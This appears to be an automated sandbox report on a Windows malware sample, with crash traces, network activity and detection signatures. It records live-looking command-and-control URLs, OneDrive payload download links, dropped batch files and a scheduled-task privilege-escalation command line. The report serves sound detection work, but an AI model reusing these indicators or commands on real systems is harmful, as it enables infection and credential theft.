__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633148 registers.edi: 1633244 registers.eax: 23117 registers.ebp: 1633208 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002365952	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7758199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7758193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633040 registers.edi: 1633128 registers.eax: 23117 registers.ebp: 1633100 registers.edx: 0 registers.ebx: 0 registers.esi: 4063232 registers.ecx: 1633024	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7759af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1632892 registers.edi: 1632988 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002262528	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7759ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7759af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633024 registers.edi: 1633112 registers.eax: 23117 registers.ebp: 1633084 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 1633024	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633148 registers.edi: 1633244 registers.eax: 23117 registers.ebp: 1633208 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002365952	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7758199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7758193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633040 registers.edi: 1633128 registers.eax: 23117 registers.ebp: 1633100 registers.edx: 0 registers.ebx: 0 registers.esi: 4063232 registers.ecx: 1633024	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7759af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1632892 registers.edi: 1632988 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002262528	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7759ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7759af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633024 registers.edi: 1633112 registers.eax: 23117 registers.ebp: 1633084 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 1633024	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633148 registers.edi: 1633244 registers.eax: 23117 registers.ebp: 1633208 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002365952	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7758199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7758193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633040 registers.edi: 1633128 registers.eax: 23117 registers.ebp: 1633100 registers.edx: 0 registers.ebx: 0 registers.esi: 4063232 registers.ecx: 1633024	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7759af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1632892 registers.edi: 1632988 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002262528	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (4 events)

suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.tamzeedhossain.xyz/og2w/?HzrLR=2n8A1PfAVAzhZ3Hc4aY9dwANXyB5d3RIGzd/lG0EaSO3J5o8WGm6pS7XNEVcLC/w0j6f90Gx&Qh-Ha=tBwxNhWXOzSD&sql=1
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.riverdenim.com/og2w/?HzrLR=8Qx1tP3sSR3Pi0BPI5Y3Wscd1rolyxc4xXpahl252jPQw5aPvU+EM4W1Ph9GZj366CKy6bjY&Qh-Ha=tBwxNhWXOzSD&sql=1
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.royallecleaning.com/og2w/?HzrLR=RMYdZkGlKd9/cr2q5T7ZE6ssqe4CFpRGJ/mMAD2/ND62kBwptZEMascQDDeN8P25ASvuBy5k&Qh-Ha=tBwxNhWXOzSD&sql=1
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.syktxny.com/og2w/?HzrLR=8nCUkDMhhpUJRG43K21tXcgfonDfOShSkumyTfFE8rS8vc8c9x3KWZtckQdcrOjDdiF8eozj&Qh-Ha=tBwxNhWXOzSD&sql=1

Performs some HTTP requests (10 events)

request	GET http://www.tamzeedhossain.xyz/og2w/?HzrLR=2n8A1PfAVAzhZ3Hc4aY9dwANXyB5d3RIGzd/lG0EaSO3J5o8WGm6pS7XNEVcLC/w0j6f90Gx&Qh-Ha=tBwxNhWXOzSD&sql=1
request	POST http://www.tamzeedhossain.xyz/og2w/
request	GET http://www.riverdenim.com/og2w/?HzrLR=8Qx1tP3sSR3Pi0BPI5Y3Wscd1rolyxc4xXpahl252jPQw5aPvU+EM4W1Ph9GZj366CKy6bjY&Qh-Ha=tBwxNhWXOzSD&sql=1
request	GET http://www.royallecleaning.com/og2w/?HzrLR=RMYdZkGlKd9/cr2q5T7ZE6ssqe4CFpRGJ/mMAD2/ND62kBwptZEMascQDDeN8P25ASvuBy5k&Qh-Ha=tBwxNhWXOzSD&sql=1
request	POST http://www.royallecleaning.com/og2w/
request	GET http://www.syktxny.com/og2w/?HzrLR=8nCUkDMhhpUJRG43K21tXcgfonDfOShSkumyTfFE8rS8vc8c9x3KWZtckQdcrOjDdiF8eozj&Qh-Ha=tBwxNhWXOzSD&sql=1
request	POST http://www.syktxny.com/og2w/
request	GET https://onedrive.live.com/download?cid=E9FFBDDD0AB75605&resid=E9FFBDDD0AB75605%21109&authkey=ABYj71iorCY38jA
request	GET https://3jaqfq.am.files.1drv.com/y4m9NcDd_ZUc-GHIuKUJyY5hL6x3aLUxl-YC6RJP1LELDrHXkb4STEbYPsABvitxp7nPbLk9le36HVSTTDIiO0Trb7b1V7RTuFcf2-bU-I2nFaemAFuadfU0NoWSqbpkPK8rRQZjfl6YHBLX5qU-9GOQ9k4bjaSe72pWfC52uClmJHPOlKOOP_TcruMbLJ-CEdQ_EEBWOneCB3_bqGPDui2pw/Ajihoeuvpfseywgzvkdmaxhisrgsstr?download&psid=1
request	GET https://3jaqfq.am.files.1drv.com/y4mDJ-FDsSGp1PeATbALhO1LMI7cTJ9FePRrkNEtWG3rHFjt_i4rSUCWbQOGLNAmBI8N37baAfkTDo1nGhbOSuT7MK0ywZgPNGT33Noc102eAtOnfb-1XQGdUtGu9u38cLgAYzEvGmRo6bJ_gbtHFbm5E4_W8w2XTJKegmp-GqeyNrZsM69-AooFcQoTiVbnroYqmVVen8sASYkwAwmXz-dFA/Ajihoeuvpfseywgzvkdmaxhisrgsstr?download&psid=1

Sends data using the HTTP POST Method (3 events)

request	POST http://www.tamzeedhossain.xyz/og2w/
request	POST http://www.royallecleaning.com/og2w/
request	POST http://www.syktxny.com/og2w/

Allocates read-write-execute memory (usually to unpack itself) (7 events)

Time & API	Arguments	Status	Return
NtAllocateVirtualMemory Oct. 22, 2021, 11:30 a.m.	process_identifier: 2404 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00360000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtProtectVirtualMemory Oct. 22, 2021, 11:30 a.m.	process_identifier: 2404 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 5 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 process_handle: 0xffffffff		3221225496
NtProtectVirtualMemory Oct. 22, 2021, 11:30 a.m.	process_identifier: 2404 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 5 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 process_handle: 0xffffffff		3221225496
NtProtectVirtualMemory Oct. 22, 2021, 11:30 a.m.	process_identifier: 2404 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 5 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory Oct. 22, 2021, 11:30 a.m.	process_identifier: 2404 region_size: 192512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72480000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtProtectVirtualMemory Oct. 22, 2021, 11:30 a.m.	process_identifier: 2404 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 5 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 process_handle: 0xffffffff		3221225496
NtProtectVirtualMemory Oct. 22, 2021, 11:30 a.m.	process_identifier: 2404 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 5 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 process_handle: 0xffffffff		3221225496

Creates executable files on the filesystem (5 events)

file	C:\Users\Public\KDECO.bat
file	C:\Users\Public\UKO.bat
file	C:\Users\Public\Ajihoe.exe
file	C:\Users\Public\Trast.bat
file	C:\Users\Public\nest.bat

Creates a suspicious process (2 events)

cmdline	C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
cmdline	schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Oct. 22, 2021, 11:30 a.m.	process_identifier: 2404 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 81920 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x003e1000 process_handle: 0xffffffff	1	0	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x00090800', u'virtual_address': u'0x00055000', u'entropy': 7.095450249453547, u'name': u'.data', u'virtual_size': u'0x000907f4'}

entropy

7.09545024945

description

A section with a high entropy has been found

entropy

0.594650205761

description

Overall entropy of this PE file is high

Yara rule detected in process memory (50 out of 60 events)

description	Create a windows service	rule	Create_Service
description	Communication using DGA	rule	Network_DGA
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Steal credential	rule	local_credential_Steal
